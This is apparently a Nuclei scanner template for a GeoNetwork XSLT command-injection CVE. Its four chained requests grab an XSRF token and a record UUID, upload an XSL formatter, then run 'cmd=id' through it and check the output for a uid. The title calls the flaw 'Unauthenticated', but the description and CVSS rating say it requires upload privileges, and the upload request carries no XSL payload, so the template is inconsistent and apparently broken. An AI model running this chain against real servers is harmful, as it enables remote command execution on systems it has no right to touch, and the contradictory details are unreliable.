id: CVE-2026-58400 info: name: GeoNetwork < 4.4.12 / < 4.2.17 - Unauthenticated RCE author: 0x_Akoko severity: critical description: | GeoNetwork < 4.4.12 and < 4.2.17 contains a command injection caused by insecure Saxon XSLT processor configuration allowing Java extension functions, letting privileged users execute arbitrary OS commands as GeoNetwork process user, exploit requires upload privileges. impact: | Privileged users can execute arbitrary OS commands with GeoNetwork process privileges, potentially leading to full system compromise. remediation: | Update to versions 4.4.12 or 4.2.17 or later. reference: - https://nvd.nist.gov/vuln/detail/CVE-2026-58400 - https://github.com/geonetwork/core-geonetwork/security/advisories/GHSA-x898-729x-cc3r - https://github.com/geonetwork/core-geonetwork/security/advisories/GHSA-mh22-prqr-vf42 - https://github.com/c0gnit00/GNSShell - https://github.com/Cyberuser-hash/CVE-2026-63219 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H cvss-score: 9.1 cve-id: CVE-2026-58400 epss-score: 0.0414 epss-percentile: 0.9109 cwe-id: CWE-94 metadata: verified: true max-request: 4 vendor: geonetwork product: core-geonetwork fofa-query: body="geonetwork/srv" shodan-query: http.title:"GeoNetwork" tags: cve,cve2026,geonetwork,rce,unauth,xslt,saxon,java,intrusive,vkev variables: fmtname: "gnsfmt{{rand_text_alpha(8)}}" flow: http(1) && http(2) && http(3) && http(4) http: - raw: - | GET /geonetwork/srv/api/site HTTP/1.1 Host: {{Hostname}} Accept: application/json matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(content_type, "json")' - 'contains(tolower(body), "geonetwork")' condition: and internal: true extractors: - type: regex name: xsrf_token regex: - 'XSRF-TOKEN=([a-fA-F0-9-]{36})' part: header group: 1 internal: true - raw: - | GET /geonetwork/srv/eng/csw?SERVICE=CSW&REQUEST=GetRecords&version=2.0.2&typeNames=gmd:MD_Metadata&outputSchema=http://www.isotc211.org/2005/gmd&resulttype=results&elementsetname=brief&maxRecords=1 HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "MD_Metadata")' condition: and internal: true extractors: - type: regex name: metadata_uuid regex: - '([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12})' internal: true - raw: - | POST /geonetwork/srv/api/formatters HTTP/1.1 Host: {{Hostname}} X-XSRF-TOKEN: {{xsrf_token}} Accept: application/json Content-Type: multipart/form-data; boundary=----GNSBoundary Cookie: XSRF-TOKEN={{xsrf_token}} ------GNSBoundary Content-Disposition: form-data; name="file"; filename="{{fmtname}}.xsl" Content-Type: application/xml ------GNSBoundary-- matchers: - type: dsl dsl: - 'status_code == 201 || status_code == 200' internal: true - raw: - | GET /geonetwork/srv/api/records/{{metadata_uuid}}/formatters/{{fmtname}}?cmd=id HTTP/1.1 Host: {{Hostname}} Accept: text/plain,text/html,*/* Cookie: XSRF-TOKEN={{xsrf_token}} matchers: - type: dsl dsl: - 'status_code == 200' - 'regex("uid=[0-9]+[(][^)]+[)]", body)' condition: and # digest: 4a0a00473045022033e3b431eb245bb538845073c8004b28d1dc19859270ede3d3d07d94570825a0022100b35e865e666ffd3210feb37770f57e70fe4dc2261d609e8798414d934b4b9b8e:922c64590222798bb761d5b6d8e72950